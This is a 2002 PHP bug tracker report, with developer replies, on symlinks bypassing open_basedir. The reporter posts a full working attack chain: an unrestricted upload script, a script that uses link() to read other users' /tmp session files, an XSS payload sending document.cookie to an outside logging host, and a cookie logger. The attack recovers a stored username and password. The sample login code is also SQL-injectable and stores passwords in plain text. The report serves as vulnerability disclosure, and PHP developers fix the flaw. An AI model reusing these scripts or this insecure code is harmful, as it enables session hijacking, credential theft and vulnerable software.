php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #17790 symlinks circumvent open_basedir restrictions
Submitted: 2002-06-16 16:24 UTC Modified: 2005-01-31 23:35 UTC
Votes:2
Avg. Score:5.0 ± 0.0
Reproduced:0 of 0 (0.0%)
From: tozz at kijkt dot tv Assigned:
Status: Closed Package: Safe Mode/open_basedir
PHP Version: 4.2.1 OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: tozz at kijkt dot tv
New email:
PHP Version: OS:

 

 [2002-06-16 16:24 UTC] tozz at kijkt dot tv
Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir

This file includes 2 new PHP bugs + a guide on how to use cross scripting to steal sessions + passwords

PHP bugs:

1) Break safe_mode restriction using move_uploaded_file.
2) Break open_basedir restriction using the PHP link function

This script will upload a file to the dir /css/ op my website http://www.net-force.nl/css/
Because the move_upload_file changes the users from my own name-> bastijs ID 566 to apache ID 48
I will be able to break the safe_mode restriction and read files from the /tmp/ directory with 
my steel.php script. ( Chmod 777 /css/ )

upload.php
++++++++++++++
<?

$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];

$size_limit = "100000"; // set size limit in bytes

if ($file){
if ($size < $size_limit){

move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/css/" .$file);

echo "File <tt>$file</tt> uploaded!";
} else {
echo "Sorry, your file exceeds the size limit of $size_limit
bytes";
}}

echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
++++++++++++++

This script will steal a session from the tmp dir and place a file named $sessie.txt in your own temp
dir, I used -> http://www.net-force.nl/css/tmp/ so I will get a file called http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt 
If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc
I used the link function to break the open_basedir restriction so I was able to view the file.

steel.php
++++++++++++++
<?

if(IsSet($submit) && $submit == "steel"){

link("/tmp/sess_" . $sessie, "tmp/$sessie.txt");

$file = file("tmp/$sessie.txt");

echo $file[0];

}else{

echo "
<form method=\"post\" action=\"$PHP_SELF\">
Sessie:<br>
<input type=\"text\" name=\"sessie\"><br>
<input type=\"submit\" name=\"submit\" value=\"steel\">
</form>
";
}

?>
++++++++++++++

Now I`m gonna test the exploit and steel a session ID using the cross-scripting exploit.

First I will create a table called css in MYSQL, edit the scripts for your own server.

CREATE TABLE `css` (
`id` int(10) NOT NULL auto_increment,
`naam` varchar(40) NOT NULL default '',
`password` varchar(40) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM;

Now I will install an login + register script which will use sessions for auth.


register.php
++++++++++++++
<?

include('functions.php');

session_start();

if(IsSet($submit) && $submit == "register"){

$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!");
$info = mysql_fetch_array($Query);

if($info['id'] != ""){
die("error!");
}else{

mysql_query("INSERT INTO css (id, naam, password) VALUES (NULL, '$naam', '$password')", $db) or die("Error!");

$UserData = $info;

session_register('UserData');

echo("Welcome!");

}

}else{

echo "<h1>Register</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"register\">
</form></td></tr>
";
}

?>
++++++++++++++

login.php
++++++++++++++
<?

session_start();

include('functions.php');

$check = "";

if(IsSet($UserData)){

$sql = mysql_query("SELECT * FROM css WHERE naam='$UserData[naam]'", $db) or die("Error!");
$user = mysql_fetch_array($sql);

if($user['password'] == $UserData['password']){
$check = "1";
}else{
$check = "0";
}
}


if(IsSet($submit) && $submit == "login"){

$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or die("Error!");
$info = mysql_fetch_array($Query);

if($info['id'] == ""){
die("error!");
}elseif($info['password'] != $password){
die("wrong password!");
}else{

$UserData = $info;
session_register(UserData);

header("location: $PHP_SELF?login");

}
}elseif(IsSet($action) && $action == "logout"){

session_destroy();

header("location: $PHP_SELF?view");

}elseif($check == "1"){
echo("Logged in! <a href=\"$PHP_SELF?action=logout\">logout</a>");
}else{

echo "<h1>Login</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"login\">
</form></td></tr>
";

}

?>
++++++++++++++

functions.php
++++++++++++++
<?

$dbserver = "localhost";
$dbuser = "root";
$dbpass = "";
$dbname = "";

if(!$db = @mysql_connect("$dbserver", "$dbuser", "$dbpass"))
die($error_mysql);
if(!@mysql_select_db("$dbname", $db))
die($error_mysql);

?>
++++++++++++++


Ok my test auth script works fine so now I`m gonna create a "cross-scripting bugged" script
If you are able to find a cross-scripting bugged site on the same host you will be able to
steal their session id using the css bug like 
this -> make a user from the bugged site open the css bugged script like this 
http://wwww.site.com/script.php?id="><script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script>

Check some cross-scripting tutorials if you don`t get it :)

But I created my own bugged script to simulate the css bug and steal my own cookie.

bugged.php
++++++++++++++
<html>
<script>document.location='http://www.net-force.nl/css/log.php?' +document.cookie</script>
</html>
++++++++++++++

Now I`m gonna install the session ID log script. You will have to create a file called session.txt and 
chmod it 777.

log.php
++++++++++++++
<?

$fd = fopen("session.txt", "a+") or die("can`t open file!");
$fout = fwrite($fd, "$QUERY_STRING\n");
fclose($fd);

?>
++++++++++++++

Ok that`s all.... register a new user and login. Now run the bugged.php and you will be redirected to the log
script. This script will log your cookie + session ID to the session.txt file. Check the session.txt
you will find something like this:

PHPSESSID=c0b66dd6df22091b72da1763a233dc85

now copy and past c0b66dd6df22091b72da1763a233dc85 into your steal.php, run it and you will get the 
username + password like this:

UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";}

username: Bas
password: aap

try to login and it works....you stole the user`s password!

Test a full working version of the session steal script on http://www.net-force.nl/css/

cya,

BasTijs
bastijs@net-force.nl
http://www.net-force.nl


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2002-06-16 16:42 UTC] sander@php.net
The session stealing stuff is only possible because of a great flaw in the upload script. That's not a problem in PHP.

Safe mode is not safe. But tbese are things that should not be managed by PHP, but by the OS. Apache 2 solves this problem with the Perchild MPM. Safe mode tries to solve this problem, but it can't completely. Read the php-dev archives for more about this.

What remains is that symlinks might be able to work around open_basedir restrictions. That should not be possible. Reclassified.
 [2002-06-16 16:55 UTC] bastijs at net-force dot nl
well, 

this is possible because of the move_uploaded_file + the link function. 

move_uploaded_file will change your own UID to 48 apache so you will be able to read files from the /tmp dir if you link the /tmp directory to your own made tmp directory

So I think it`s a PHP bug.

cya,
BasTijs
 [2002-06-16 17:28 UTC] sesser@php.net
This bug has been fixed in CVS. You can grab a snapshot of the
CVS version at http://snaps.php.net/. In case this was a documentation 
problem, the fix will show up soon at http://www.php.net/manual/.
In case this was a PHP.net website problem, the change will show
up on the PHP.net site and on the mirror sites.
Thank you for the report, and for helping us make PHP better.

symlink and link now perfom an openbasedir and uid check for link and for its target.

anyway the situation you describe is caused by a totally
misconfigured server. document root directories should never ever be writeable for the apache user. thats a
generic rule and disobeying it is a security hole.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 19 01:01:28 2024 UTC